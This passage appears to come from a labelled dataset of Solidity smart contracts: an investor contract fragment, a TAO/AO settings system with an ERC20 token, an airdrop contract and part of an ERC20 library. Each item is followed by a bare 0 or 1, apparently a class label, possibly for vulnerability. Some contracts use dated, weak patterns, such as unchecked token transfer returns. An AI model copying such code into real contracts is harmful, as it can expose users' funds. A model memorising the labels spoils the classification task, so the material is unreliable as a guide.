investors[investorAddr].withdrawal; delete investors[investorAddr].boostStartup; emit OnDeleteInvestor(investorAddr, now); investorsNumber--; } } library SafeMath { function mul(uint256 _a, uint256 _b) internal pure returns (uint256) { if (_a == 0) { return 0; } uint256 c = _a * _b; require(c / _a == _b); return c; } function div(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b > 0); uint256 c = _a / _b; return c; } function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b <= _a); uint256 c = _a - _b; return c; } function add(uint256 _a, uint256 _b) internal pure returns (uint256) { uint256 c = _a + _b; require(c >= _a); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } }
0
793
pragma solidity >=0.5.4 <0.6.0; interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes calldata _extraData) external; } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } interface INameTAOPosition { function senderIsAdvocate(address _sender, address _id) external view returns (bool); function senderIsListener(address _sender, address _id) external view returns (bool); function senderIsSpeaker(address _sender, address _id) external view returns (bool); function senderIsPosition(address _sender, address _id) external view returns (bool); function getAdvocate(address _id) external view returns (address); function nameIsAdvocate(address _nameId, address _id) external view returns (bool); function nameIsPosition(address _nameId, address _id) external view returns (bool); function initialize(address _id, address _advocateId, address _listenerId, address _speakerId) external returns (bool); function determinePosition(address _sender, address _id) external view returns (uint256); } interface IAOSettingAttribute { function add(uint256 _settingId, address _creatorNameId, string calldata _settingName, address _creatorTAOId, address _associatedTAOId, string calldata _extraData) external returns (bytes32, bytes32); function getSettingData(uint256 _settingId) external view returns (uint256, address, address, address, string memory, bool, bool, bool, string memory); function approveAdd(uint256 _settingId, address _associatedTAOAdvocate, bool _approved) external returns (bool); function finalizeAdd(uint256 _settingId, address _creatorTAOAdvocate) external returns (bool); function update(uint256 _settingId, address _associatedTAOAdvocate, address _proposalTAOId, string calldata _extraData) external returns (bool); function getSettingState(uint256 _settingId) external view returns (uint256, bool, address, address, address, string memory); function approveUpdate(uint256 _settingId, address _proposalTAOAdvocate, bool _approved) external returns (bool); function finalizeUpdate(uint256 _settingId, address _associatedTAOAdvocate) external returns (bool); function addDeprecation(uint256 _settingId, address _creatorNameId, address _creatorTAOId, address _associatedTAOId, uint256 _newSettingId, address _newSettingContractAddress) external returns (bytes32, bytes32); function getSettingDeprecation(uint256 _settingId) external view returns (uint256, address, address, address, bool, bool, bool, bool, uint256, uint256, address, address); function approveDeprecation(uint256 _settingId, address _associatedTAOAdvocate, bool _approved) external returns (bool); function finalizeDeprecation(uint256 _settingId, address _creatorTAOAdvocate) external returns (bool); function settingExist(uint256 _settingId) external view returns (bool); function getLatestSettingId(uint256 _settingId) external view returns (uint256); } contract TokenERC20 { string public name; string public symbol; uint8 public decimals = 18; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Burn(address indexed from, uint256 value); constructor (uint256 initialSupply, string memory tokenName, string memory tokenSymbol) public { totalSupply = initialSupply * 10 ** uint256(decimals); balanceOf[msg.sender] = totalSupply; name = tokenName; symbol = tokenSymbol; } function _transfer(address _from, address _to, uint _value) internal { require(_to != address(0)); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value > balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public returns (bool success) { _transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function approveAndCall(address _spender, uint256 _value, bytes memory _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, address(this), _extraData); return true; } } function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] -= _value; totalSupply -= _value; emit Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); require(_value <= allowance[_from][msg.sender]); balanceOf[_from] -= _value; allowance[_from][msg.sender] -= _value; totalSupply -= _value; emit Burn(_from, _value); return true; } } contract TAO { using SafeMath for uint256; address public vaultAddress; string public name; address public originId; string public datHash; string public database; string public keyValue; bytes32 public contentId; uint8 public typeId; constructor (string memory _name, address _originId, string memory _datHash, string memory _database, string memory _keyValue, bytes32 _contentId, address _vaultAddress ) public { name = _name; originId = _originId; datHash = _datHash; database = _database; keyValue = _keyValue; contentId = _contentId; typeId = 0; vaultAddress = _vaultAddress; } modifier onlyVault { require (msg.sender == vaultAddress); _; } function () external payable { } function transferEth(address payable _recipient, uint256 _amount) public onlyVault returns (bool) { _recipient.transfer(_amount); return true; } function transferERC20(address _erc20TokenAddress, address _recipient, uint256 _amount) public onlyVault returns (bool) { TokenERC20 _erc20 = TokenERC20(_erc20TokenAddress); _erc20.transfer(_recipient, _amount); return true; } } contract Name is TAO { constructor (string memory _name, address _originId, string memory _datHash, string memory _database, string memory _keyValue, bytes32 _contentId, address _vaultAddress) TAO (_name, _originId, _datHash, _database, _keyValue, _contentId, _vaultAddress) public { typeId = 1; } } library AOLibrary { using SafeMath for uint256; uint256 constant private _MULTIPLIER_DIVISOR = 10 ** 6; uint256 constant private _PERCENTAGE_DIVISOR = 10 ** 6; function isTAO(address _taoId) public view returns (bool) { return (_taoId != address(0) && bytes(TAO(address(uint160(_taoId))).name()).length > 0 && TAO(address(uint160(_taoId))).originId() != address(0) && TAO(address(uint160(_taoId))).typeId() == 0); } function isName(address _nameId) public view returns (bool) { return (_nameId != address(0) && bytes(TAO(address(uint160(_nameId))).name()).length > 0 && Name(address(uint160(_nameId))).originId() != address(0) && Name(address(uint160(_nameId))).typeId() == 1); } function isValidERC20TokenAddress(address _tokenAddress) public view returns (bool) { if (_tokenAddress == address(0)) { return false; } TokenERC20 _erc20 = TokenERC20(_tokenAddress); return (_erc20.totalSupply() >= 0 && bytes(_erc20.name()).length > 0 && bytes(_erc20.symbol()).length > 0); } function isTheAO(address _sender, address _theAO, address _nameTAOPositionAddress) public view returns (bool) { return (_sender == _theAO || ( (isTAO(_theAO) || isName(_theAO)) && _nameTAOPositionAddress != address(0) && INameTAOPosition(_nameTAOPositionAddress).senderIsAdvocate(_sender, _theAO) ) ); } function PERCENTAGE_DIVISOR() public pure returns (uint256) { return _PERCENTAGE_DIVISOR; } function MULTIPLIER_DIVISOR() public pure returns (uint256) { return _MULTIPLIER_DIVISOR; } function deployTAO(string memory _name, address _originId, string memory _datHash, string memory _database, string memory _keyValue, bytes32 _contentId, address _nameTAOVaultAddress ) public returns (TAO _tao) { _tao = new TAO(_name, _originId, _datHash, _database, _keyValue, _contentId, _nameTAOVaultAddress); } function deployName(string memory _name, address _originId, string memory _datHash, string memory _database, string memory _keyValue, bytes32 _contentId, address _nameTAOVaultAddress ) public returns (Name _myName) { _myName = new Name(_name, _originId, _datHash, _database, _keyValue, _contentId, _nameTAOVaultAddress); } function calculateWeightedMultiplier(uint256 _currentWeightedMultiplier, uint256 _currentPrimordialBalance, uint256 _additionalWeightedMultiplier, uint256 _additionalPrimordialAmount) public pure returns (uint256) { if (_currentWeightedMultiplier > 0) { uint256 _totalWeightedIons = (_currentWeightedMultiplier.mul(_currentPrimordialBalance)).add(_additionalWeightedMultiplier.mul(_additionalPrimordialAmount)); uint256 _totalIons = _currentPrimordialBalance.add(_additionalPrimordialAmount); return _totalWeightedIons.div(_totalIons); } else { return _additionalWeightedMultiplier; } } function calculatePrimordialMultiplier(uint256 _purchaseAmount, uint256 _totalPrimordialMintable, uint256 _totalPrimordialMinted, uint256 _startingMultiplier, uint256 _endingMultiplier) public pure returns (uint256) { if (_purchaseAmount > 0 && _purchaseAmount <= _totalPrimordialMintable.sub(_totalPrimordialMinted)) { uint256 temp = _totalPrimordialMinted.add(_purchaseAmount.div(2)); uint256 multiplier = (_MULTIPLIER_DIVISOR.sub(_MULTIPLIER_DIVISOR.mul(temp).div(_totalPrimordialMintable))).mul(_startingMultiplier.sub(_endingMultiplier)); return multiplier.div(_MULTIPLIER_DIVISOR); } else { return 0; } } function calculateNetworkBonusPercentage(uint256 _purchaseAmount, uint256 _totalPrimordialMintable, uint256 _totalPrimordialMinted, uint256 _startingMultiplier, uint256 _endingMultiplier) public pure returns (uint256) { if (_purchaseAmount > 0 && _purchaseAmount <= _totalPrimordialMintable.sub(_totalPrimordialMinted)) { uint256 temp = _totalPrimordialMinted.add(_purchaseAmount.div(2)); uint256 bonusPercentage = (_PERCENTAGE_DIVISOR.sub(_PERCENTAGE_DIVISOR.mul(temp).div(_totalPrimordialMintable))).mul(_startingMultiplier.sub(_endingMultiplier)).div(_PERCENTAGE_DIVISOR); return bonusPercentage; } else { return 0; } } function calculateNetworkBonusAmount(uint256 _purchaseAmount, uint256 _totalPrimordialMintable, uint256 _totalPrimordialMinted, uint256 _startingMultiplier, uint256 _endingMultiplier) public pure returns (uint256) { uint256 bonusPercentage = calculateNetworkBonusPercentage(_purchaseAmount, _totalPrimordialMintable, _totalPrimordialMinted, _startingMultiplier, _endingMultiplier); uint256 networkBonus = bonusPercentage.mul(_purchaseAmount).div(_PERCENTAGE_DIVISOR); return networkBonus; } function calculateMaximumBurnAmount(uint256 _primordialBalance, uint256 _currentWeightedMultiplier, uint256 _maximumMultiplier) public pure returns (uint256) { return (_maximumMultiplier.mul(_primordialBalance).sub(_primordialBalance.mul(_currentWeightedMultiplier))).div(_maximumMultiplier); } function calculateMultiplierAfterBurn(uint256 _primordialBalance, uint256 _currentWeightedMultiplier, uint256 _amountToBurn) public pure returns (uint256) { return _primordialBalance.mul(_currentWeightedMultiplier).div(_primordialBalance.sub(_amountToBurn)); } function calculateMultiplierAfterConversion(uint256 _primordialBalance, uint256 _currentWeightedMultiplier, uint256 _amountToConvert) public pure returns (uint256) { return _primordialBalance.mul(_currentWeightedMultiplier).div(_primordialBalance.add(_amountToConvert)); } function numDigits(uint256 number) public pure returns (uint8) { uint8 digits = 0; while(number != 0) { number = number.div(10); digits++; } return digits; } } contract TheAO { address public theAO; address public nameTAOPositionAddress; mapping (address => bool) public whitelist; constructor() public { theAO = msg.sender; } modifier inWhitelist() { require (whitelist[msg.sender] == true); _; } function transferOwnership(address _theAO) public { require (msg.sender == theAO); require (_theAO != address(0)); theAO = _theAO; } function setWhitelist(address _account, bool _whitelist) public { require (msg.sender == theAO); require (_account != address(0)); whitelist[_account] = _whitelist; } } contract AOSettingAttribute is TheAO, IAOSettingAttribute { INameTAOPosition internal _nameTAOPosition; struct SettingData { uint256 settingId; address creatorNameId; address creatorTAOId; address associatedTAOId; string settingName; bool pendingCreate; bool locked; bool rejected; string settingDataJSON; } struct SettingState { uint256 settingId; bool pendingUpdate; address updateAdvocateNameId; address proposalTAOId; address lastUpdateTAOId; string settingStateJSON; } struct SettingDeprecation { uint256 settingId; address creatorNameId; address creatorTAOId; address associatedTAOId; bool pendingDeprecated; bool locked; bool rejected; bool migrated; uint256 pendingNewSettingId; uint256 newSettingId; address pendingNewSettingContractAddress; address newSettingContractAddress; } struct AssociatedTAOSetting { bytes32 associatedTAOSettingId; address associatedTAOId; uint256 settingId; } struct CreatorTAOSetting { bytes32 creatorTAOSettingId; address creatorTAOId; uint256 settingId; } struct AssociatedTAOSettingDeprecation { bytes32 associatedTAOSettingDeprecationId; address associatedTAOId; uint256 settingId; } struct CreatorTAOSettingDeprecation { bytes32 creatorTAOSettingDeprecationId; address creatorTAOId; uint256 settingId; } mapping (uint256 => SettingData) internal settingDatas; mapping (uint256 => SettingState) internal settingStates; mapping (uint256 => SettingDeprecation) internal settingDeprecations; mapping (bytes32 => AssociatedTAOSetting) internal associatedTAOSettings; mapping (bytes32 => CreatorTAOSetting) internal creatorTAOSettings; mapping (bytes32 => AssociatedTAOSettingDeprecation) internal associatedTAOSettingDeprecations; mapping (bytes32 => CreatorTAOSettingDeprecation) internal creatorTAOSettingDeprecations; constructor(address _nameTAOPositionAddress) public { setNameTAOPositionAddress(_nameTAOPositionAddress); } modifier onlyTheAO { require (AOLibrary.isTheAO(msg.sender, theAO, nameTAOPositionAddress)); _; } function transferOwnership(address _theAO) public onlyTheAO { require (_theAO != address(0)); theAO = _theAO; } function setWhitelist(address _account, bool _whitelist) public onlyTheAO { require (_account != address(0)); whitelist[_account] = _whitelist; } function setNameTAOPositionAddress(address _nameTAOPositionAddress) public onlyTheAO { require (_nameTAOPositionAddress != address(0)); nameTAOPositionAddress = _nameTAOPositionAddress; _nameTAOPosition = INameTAOPosition(_nameTAOPositionAddress); } function add(uint256 _settingId, address _creatorNameId, string calldata _settingName, address _creatorTAOId, address _associatedTAOId, string calldata _extraData) external inWhitelist returns (bytes32, bytes32) { require (_storeSettingDataState(_settingId, _creatorNameId, _settingName, _creatorTAOId, _associatedTAOId, _extraData)); return ( _storeAssociatedTAOSetting(_associatedTAOId, _settingId), _storeCreatorTAOSetting(_creatorTAOId, _settingId) ); } function getSettingData(uint256 _settingId) external view returns (uint256, address, address, address, string memory, bool, bool, bool, string memory) { SettingData memory _settingData = settingDatas[_settingId]; return ( _settingData.settingId, _settingData.creatorNameId, _settingData.creatorTAOId, _settingData.associatedTAOId, _settingData.settingName, _settingData.pendingCreate, _settingData.locked, _settingData.rejected, _settingData.settingDataJSON ); } function getAssociatedTAOSetting(bytes32 _associatedTAOSettingId) public view returns (bytes32, address, uint256) { AssociatedTAOSetting memory _associatedTAOSetting = associatedTAOSettings[_associatedTAOSettingId]; return ( _associatedTAOSetting.associatedTAOSettingId, _associatedTAOSetting.associatedTAOId, _associatedTAOSetting.settingId ); } function getCreatorTAOSetting(bytes32 _creatorTAOSettingId) public view returns (bytes32, address, uint256) { CreatorTAOSetting memory _creatorTAOSetting = creatorTAOSettings[_creatorTAOSettingId]; return ( _creatorTAOSetting.creatorTAOSettingId, _creatorTAOSetting.creatorTAOId, _creatorTAOSetting.settingId ); } function approveAdd(uint256 _settingId, address _associatedTAOAdvocate, bool _approved) external inWhitelist returns (bool) { SettingData storage _settingData = settingDatas[_settingId]; require (_settingData.settingId == _settingId && _settingData.pendingCreate == true && _settingData.locked == true && _settingData.rejected == false && _associatedTAOAdvocate != address(0) && _associatedTAOAdvocate == _nameTAOPosition.getAdvocate(_settingData.associatedTAOId) ); if (_approved) { _settingData.locked = false; } else { _settingData.pendingCreate = false; _settingData.rejected = true; } return true; } function finalizeAdd(uint256 _settingId, address _creatorTAOAdvocate) external inWhitelist returns (bool) { SettingData storage _settingData = settingDatas[_settingId]; require (_settingData.settingId == _settingId && _settingData.pendingCreate == true && _settingData.locked == false && _settingData.rejected == false && _creatorTAOAdvocate != address(0) && _creatorTAOAdvocate == _nameTAOPosition.getAdvocate(_settingData.creatorTAOId) ); _settingData.pendingCreate = false; _settingData.locked = true; return true; } function update(uint256 _settingId, address _associatedTAOAdvocate, address _proposalTAOId, string calldata _extraData) external inWhitelist returns (bool) { SettingData memory _settingData = settingDatas[_settingId]; require (_settingData.settingId == _settingId && _settingData.pendingCreate == false && _settingData.locked == true && _settingData.rejected == false && _associatedTAOAdvocate != address(0) && _associatedTAOAdvocate == _nameTAOPosition.getAdvocate(_settingData.associatedTAOId) ); SettingState storage _settingState = settingStates[_settingId]; require (_settingState.pendingUpdate == false); SettingDeprecation memory _settingDeprecation = settingDeprecations[_settingId]; if (_settingDeprecation.settingId == _settingId) { require (_settingDeprecation.migrated == false); } _settingState.pendingUpdate = true; _settingState.updateAdvocateNameId = _associatedTAOAdvocate; _settingState.proposalTAOId = _proposalTAOId; _settingState.settingStateJSON = _extraData; return true; } function getSettingState(uint256 _settingId) external view returns (uint256, bool, address, address, address, string memory) { SettingState memory _settingState = settingStates[_settingId]; return ( _settingState.settingId, _settingState.pendingUpdate, _settingState.updateAdvocateNameId, _settingState.proposalTAOId, _settingState.lastUpdateTAOId, _settingState.settingStateJSON ); } function approveUpdate(uint256 _settingId, address _proposalTAOAdvocate, bool _approved) external inWhitelist returns (bool) { SettingData storage _settingData = settingDatas[_settingId]; require (_settingData.settingId == _settingId && _settingData.pendingCreate == false && _settingData.locked == true && _settingData.rejected == false); SettingState storage _settingState = settingStates[_settingId]; require (_settingState.settingId == _settingId && _settingState.pendingUpdate == true && _proposalTAOAdvocate != address(0) && _proposalTAOAdvocate == _nameTAOPosition.getAdvocate(_settingState.proposalTAOId) ); if (_approved) { _settingData.locked = false; } else { _settingState.pendingUpdate = false; _settingState.proposalTAOId = address(0); } return true; } function finalizeUpdate(uint256 _settingId, address _associatedTAOAdvocate) external inWhitelist returns (bool) { SettingData storage _settingData = settingDatas[_settingId]; require (_settingData.settingId == _settingId && _settingData.pendingCreate == false && _settingData.locked == false && _settingData.rejected == false && _associatedTAOAdvocate != address(0) && _associatedTAOAdvocate == _nameTAOPosition.getAdvocate(_settingData.associatedTAOId) ); SettingState storage _settingState = settingStates[_settingId]; require (_settingState.settingId == _settingId && _settingState.pendingUpdate == true && _settingState.proposalTAOId != address(0)); _settingData.locked = true; _settingState.pendingUpdate = false; _settingState.updateAdvocateNameId = _associatedTAOAdvocate; address _proposalTAOId = _settingState.proposalTAOId; _settingState.proposalTAOId = address(0); _settingState.lastUpdateTAOId = _proposalTAOId; return true; } function addDeprecation(uint256 _settingId, address _creatorNameId, address _creatorTAOId, address _associatedTAOId, uint256 _newSettingId, address _newSettingContractAddress) external inWhitelist returns (bytes32, bytes32) { require (_storeSettingDeprecation(_settingId, _creatorNameId, _creatorTAOId, _associatedTAOId, _newSettingId, _newSettingContractAddress)); bytes32 _associatedTAOSettingDeprecationId = keccak256(abi.encodePacked(this, _associatedTAOId, _settingId)); AssociatedTAOSettingDeprecation storage _associatedTAOSettingDeprecation = associatedTAOSettingDeprecations[_associatedTAOSettingDeprecationId]; _associatedTAOSettingDeprecation.associatedTAOSettingDeprecationId = _associatedTAOSettingDeprecationId; _associatedTAOSettingDeprecation.associatedTAOId = _associatedTAOId; _associatedTAOSettingDeprecation.settingId = _settingId; bytes32 _creatorTAOSettingDeprecationId = keccak256(abi.encodePacked(this, _creatorTAOId, _settingId)); CreatorTAOSettingDeprecation storage _creatorTAOSettingDeprecation = creatorTAOSettingDeprecations[_creatorTAOSettingDeprecationId]; _creatorTAOSettingDeprecation.creatorTAOSettingDeprecationId = _creatorTAOSettingDeprecationId; _creatorTAOSettingDeprecation.creatorTAOId = _creatorTAOId; _creatorTAOSettingDeprecation.settingId = _settingId; return (_associatedTAOSettingDeprecationId, _creatorTAOSettingDeprecationId); } function getSettingDeprecation(uint256 _settingId) external view returns (uint256, address, address, address, bool, bool, bool, bool, uint256, uint256, address, address) { SettingDeprecation memory _settingDeprecation = settingDeprecations[_settingId]; return ( _settingDeprecation.settingId, _settingDeprecation.creatorNameId, _settingDeprecation.creatorTAOId, _settingDeprecation.associatedTAOId, _settingDeprecation.pendingDeprecated, _settingDeprecation.locked, _settingDeprecation.rejected, _settingDeprecation.migrated, _settingDeprecation.pendingNewSettingId, _settingDeprecation.newSettingId, _settingDeprecation.pendingNewSettingContractAddress, _settingDeprecation.newSettingContractAddress ); } function getAssociatedTAOSettingDeprecation(bytes32 _associatedTAOSettingDeprecationId) external view returns (bytes32, address, uint256) { AssociatedTAOSettingDeprecation memory _associatedTAOSettingDeprecation = associatedTAOSettingDeprecations[_associatedTAOSettingDeprecationId]; return ( _associatedTAOSettingDeprecation.associatedTAOSettingDeprecationId, _associatedTAOSettingDeprecation.associatedTAOId, _associatedTAOSettingDeprecation.settingId ); } function getCreatorTAOSettingDeprecation(bytes32 _creatorTAOSettingDeprecationId) public view returns (bytes32, address, uint256) { CreatorTAOSettingDeprecation memory _creatorTAOSettingDeprecation = creatorTAOSettingDeprecations[_creatorTAOSettingDeprecationId]; return ( _creatorTAOSettingDeprecation.creatorTAOSettingDeprecationId, _creatorTAOSettingDeprecation.creatorTAOId, _creatorTAOSettingDeprecation.settingId ); } function approveDeprecation(uint256 _settingId, address _associatedTAOAdvocate, bool _approved) external inWhitelist returns (bool) { SettingDeprecation storage _settingDeprecation = settingDeprecations[_settingId]; require (_settingDeprecation.settingId == _settingId && _settingDeprecation.migrated == false && _settingDeprecation.pendingDeprecated == true && _settingDeprecation.locked == true && _settingDeprecation.rejected == false && _associatedTAOAdvocate != address(0) && _associatedTAOAdvocate == _nameTAOPosition.getAdvocate(_settingDeprecation.associatedTAOId) ); if (_approved) { _settingDeprecation.locked = false; } else { _settingDeprecation.pendingDeprecated = false; _settingDeprecation.rejected = true; } return true; } function finalizeDeprecation(uint256 _settingId, address _creatorTAOAdvocate) external inWhitelist returns (bool) { SettingDeprecation storage _settingDeprecation = settingDeprecations[_settingId]; require (_settingDeprecation.settingId == _settingId && _settingDeprecation.migrated == false && _settingDeprecation.pendingDeprecated == true && _settingDeprecation.locked == false && _settingDeprecation.rejected == false && _creatorTAOAdvocate != address(0) && _creatorTAOAdvocate == _nameTAOPosition.getAdvocate(_settingDeprecation.creatorTAOId) ); _settingDeprecation.pendingDeprecated = false; _settingDeprecation.locked = true; _settingDeprecation.migrated = true; uint256 _newSettingId = _settingDeprecation.pendingNewSettingId; _settingDeprecation.pendingNewSettingId = 0; _settingDeprecation.newSettingId = _newSettingId; address _newSettingContractAddress = _settingDeprecation.pendingNewSettingContractAddress; _settingDeprecation.pendingNewSettingContractAddress = address(0); _settingDeprecation.newSettingContractAddress = _newSettingContractAddress; return true; } function settingExist(uint256 _settingId) external view returns (bool) { SettingData memory _settingData = settingDatas[_settingId]; return (_settingData.settingId == _settingId && _settingData.rejected == false); } function getLatestSettingId(uint256 _settingId) external view returns (uint256) { uint256 _latestSettingId = _settingId; (,,,,,,, bool _migrated,, uint256 _newSettingId,,) = this.getSettingDeprecation(_latestSettingId); while (_migrated && _newSettingId > 0) { _latestSettingId = _newSettingId; (,,,,,,, _migrated,, _newSettingId,,) = this.getSettingDeprecation(_latestSettingId); } return _latestSettingId; } function _storeSettingDataState(uint256 _settingId, address _creatorNameId, string memory _settingName, address _creatorTAOId, address _associatedTAOId, string memory _extraData) internal returns (bool) { SettingData storage _settingData = settingDatas[_settingId]; _settingData.settingId = _settingId; _settingData.creatorNameId = _creatorNameId; _settingData.creatorTAOId = _creatorTAOId; _settingData.associatedTAOId = _associatedTAOId; _settingData.settingName = _settingName; _settingData.pendingCreate = true; _settingData.locked = true; _settingData.settingDataJSON = _extraData; SettingState storage _settingState = settingStates[_settingId]; _settingState.settingId = _settingId; return true; } function _storeSettingDeprecation(uint256 _settingId, address _creatorNameId, address _creatorTAOId, address _associatedTAOId, uint256 _newSettingId, address _newSettingContractAddress) internal returns (bool) { require (settingDatas[_settingId].creatorNameId != address(0) && settingDatas[_settingId].rejected == false && settingDatas[_settingId].pendingCreate == false); require (settingDeprecations[_settingId].creatorNameId == address(0)); require (settingDatas[_newSettingId].creatorNameId != address(0) && settingDatas[_newSettingId].rejected == false && settingDatas[_newSettingId].pendingCreate == false); SettingDeprecation storage _settingDeprecation = settingDeprecations[_settingId]; _settingDeprecation.settingId = _settingId; _settingDeprecation.creatorNameId = _creatorNameId; _settingDeprecation.creatorTAOId = _creatorTAOId; _settingDeprecation.associatedTAOId = _associatedTAOId; _settingDeprecation.pendingDeprecated = true; _settingDeprecation.locked = true; _settingDeprecation.pendingNewSettingId = _newSettingId; _settingDeprecation.pendingNewSettingContractAddress = _newSettingContractAddress; return true; } function _storeAssociatedTAOSetting(address _associatedTAOId, uint256 _settingId) internal returns (bytes32) { bytes32 _associatedTAOSettingId = keccak256(abi.encodePacked(this, _associatedTAOId, _settingId)); AssociatedTAOSetting storage _associatedTAOSetting = associatedTAOSettings[_associatedTAOSettingId]; _associatedTAOSetting.associatedTAOSettingId = _associatedTAOSettingId; _associatedTAOSetting.associatedTAOId = _associatedTAOId; _associatedTAOSetting.settingId = _settingId; return _associatedTAOSettingId; } function _storeCreatorTAOSetting(address _creatorTAOId, uint256 _settingId) internal returns (bytes32) { bytes32 _creatorTAOSettingId = keccak256(abi.encodePacked(this, _creatorTAOId, _settingId)); CreatorTAOSetting storage _creatorTAOSetting = creatorTAOSettings[_creatorTAOSettingId]; _creatorTAOSetting.creatorTAOSettingId = _creatorTAOSettingId; _creatorTAOSetting.creatorTAOId = _creatorTAOId; _creatorTAOSetting.settingId = _settingId; return _creatorTAOSettingId; } }
1
5,502
pragma solidity 0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner, "Not the owner"); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0), "Zero address received"); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } interface IERC20 { function transfer(address _to, uint _value) external returns (bool success); function balanceOf(address _owner) external view returns (uint256 balance); } contract Airdrop is Ownable { using SafeMath for uint256; IERC20 public token; event Airdropped(address to, uint256 token); event TokenContractSet(IERC20 newToken); constructor (IERC20 _tokenAddr) public { require(address(_tokenAddr) != address(0), "Zero address received"); token = _tokenAddr; emit TokenContractSet(_tokenAddr); } function drop(address[] beneficiaries, uint256[] values) external onlyOwner returns (bool) { require(beneficiaries.length == values.length, "Array lengths of parameters unequal"); for (uint i = 0; i < beneficiaries.length; i++) { require(beneficiaries[i] != address(0), "Zero address received"); require(getBalance() >= values[i], "Insufficient token balance"); token.transfer(beneficiaries[i], values[i]); emit Airdropped(beneficiaries[i], values[i]); } return true; } function getBalance() public view returns (uint256 balance) { balance = token.balanceOf(address(this)); } function setTokenAddress(IERC20 newToken) public onlyOwner { require(address(newToken) != address(0), "Zero address received"); token = newToken; emit TokenContractSet(newToken); } }
1
2,674
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint 